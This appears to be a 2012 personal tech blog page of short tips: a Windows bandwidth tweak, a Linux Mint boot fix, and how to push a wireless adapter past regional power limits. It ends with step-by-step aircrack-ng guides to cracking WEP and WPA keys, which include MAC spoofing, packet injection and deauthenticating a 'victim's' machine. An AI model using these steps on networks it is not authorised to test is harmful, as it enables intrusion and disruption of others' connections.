Exceptionally a tip for Win 7. Windows uses up to 20% of the bandwidth, but you can change this with the following steps.
Run gpedit.msc
==> administrative settings ==> network ==> qos packet scheduler ==> open LIMIT RESERVABLE BANDWIDTH
==> click on ENABLE and limit bandwidth to 0%.
Restart.
Thats it!
Wednesday, 29 August 2012
Tuesday, 28 August 2012
Linux Mint 13 - Black screen fix (live USB)
Recently I switched from Ubuntu to Linux Mint 13 on my HP mini netbook. Unfortunately I encountered a 'black-screen problem' similar to the one I already knew from Backtrack 5 (http://ubuntu-skype.blogspot.co.at/2012/07/backtrack-5-black-screen-after-startx.html ).
The solution was:
press TAB
add to the line "..... ...... .... quiet splash "one of the following (depending on your chip set of your video card):
radeon.modeset=1
i915.modeset=1
If that does not work for you try to add "driver=intel". E.g. quiet splash i915.modeset=1 driver=intel.
I had success with that. Hope it works for you too!
The solution was:
press TAB
add to the line "..... ...... .... quiet splash "one of the following (depending on your chip set of your video card):
radeon.modeset=1
i915.modeset=1
If that does not work for you try to add "driver=intel". E.g. quiet splash i915.modeset=1 driver=intel.
I had success with that. Hope it works for you too!
Sunday, 19 August 2012
Displaying system and hardware information in Linux
Most information is stored in the /proc file. For example to obtain CPU or memory information simply enter:
cat /proc/meminfo
cat /proc/cpuinfo
cat /proc/meminfo
cat /proc/cpuinfo
How to set your Alfa wireless adapter to 30dbm (1000mW)
Please be aware that there are country restrictions on maximum power.
Commands
iw reg set BO
iwconfig wlan0 txpower 30
That's it. You can check your settings with iwconfig.
Commands
iw reg set BO
iwconfig wlan0 txpower 30
That's it. You can check your settings with iwconfig.
Tuesday, 14 August 2012
How to crack WEP with aircrack-ng (Backtrack)
Anybody should be able to do this. If you struggle with something, post a comment and I' ll get back to you.
Requirements
- Backtrack (or Linux with aircrack-ng installed)
- Virtual machine (e.g. Vmware or Virtualbox)
- USB Wifi adapter (you will need a wifi adapter which you can put in promiscuous mode. It wont work with your built-in notebook wifi card etc.) Buy this one: Alfa AWUS036H . It is cheap, reliable and works out of the box.
Commands
Requirements
- Backtrack (or Linux with aircrack-ng installed)
- Virtual machine (e.g. Vmware or Virtualbox)
- USB Wifi adapter (you will need a wifi adapter which you can put in promiscuous mode. It wont work with your built-in notebook wifi card etc.) Buy this one: Alfa AWUS036H . It is cheap, reliable and works out of the box.
Commands
- airmon-ng stop wlan0
- ifconfig wlan0 down
- macchanger -m 00:11:22:33:44:55 wlan0
- ifconfig wlan0 up
- airmon-ng start wlan0
- ifconfig mon0 down
- macchanger -r (random mac) mon0
- ifconfig mon0 up
- airodump-ng mon0 (scan for APs)
- Wait for a minute
- CTRL + C (stop scanning)
- Pick your own AP with WEP encryption
- airodump-ng -c (channel) -w (filename) —bssid (xx:xx:xx:xx:xx:xx) mon0
- -w file, in which the data will be saved.
- —You need around 10k of data to successfully crack WEP—
- Open another console
- aireplay-ng -1 0 -a (BSSID) -e (ESSID) mon0
- Wait for ”Association succcessful”
- aireplay-ng -3 -b (BSSID) -e (ESSID) mon0 (starts the injection)
- data in the other console should now increase significantly
- open another console
- aircrack-ng (filename.cap)
- path to the file from step 13. e.g. ~/Desktop/test.cap
- Wait for —Key Found—
- Enter Key without ‘:’.
How to crack WPA/WPA 2 with aircrack-ng (Backtrack 5)
What you need
- Backtrack (or Linux with aircrack-ng installed)
- Virtual machine (e.g. Vmware or Virtualbox)
- Password list
- USB Wifi adapter capable of promiscuous mode: Alfa AWUS036H
Alright, fire up the terminal.
Commands
- airmon-ng
- airmon-ng start wlan0
- ifconfig mon0 down
- macchanger -m 00:11:22:33:44:55 mon0
- ifconfig mon0 up
- airodump-ng mon0 (let it scan for a minute)
- CTRL + C (stop)
- airodump-ng -c (channel) -w (filename. eg. wpa) —bssid (xx:xx:xx:xx:xx:xx) mon0
Now, we need to deauthenticate a user's pc currently on the network (mac)
- open another console
- aireplay-ng --deauth 1 (just one!) -e (ESSID) -c (victim's mac) mon0
- Wait for WPA handshake ==> airodump-ng
- —-all cracking can be done offline—-
- aircrack-ng -w (wordlist) file (eg. WPA-01.cap)
- this is the file from step 8
Video
Any problems? Ask!
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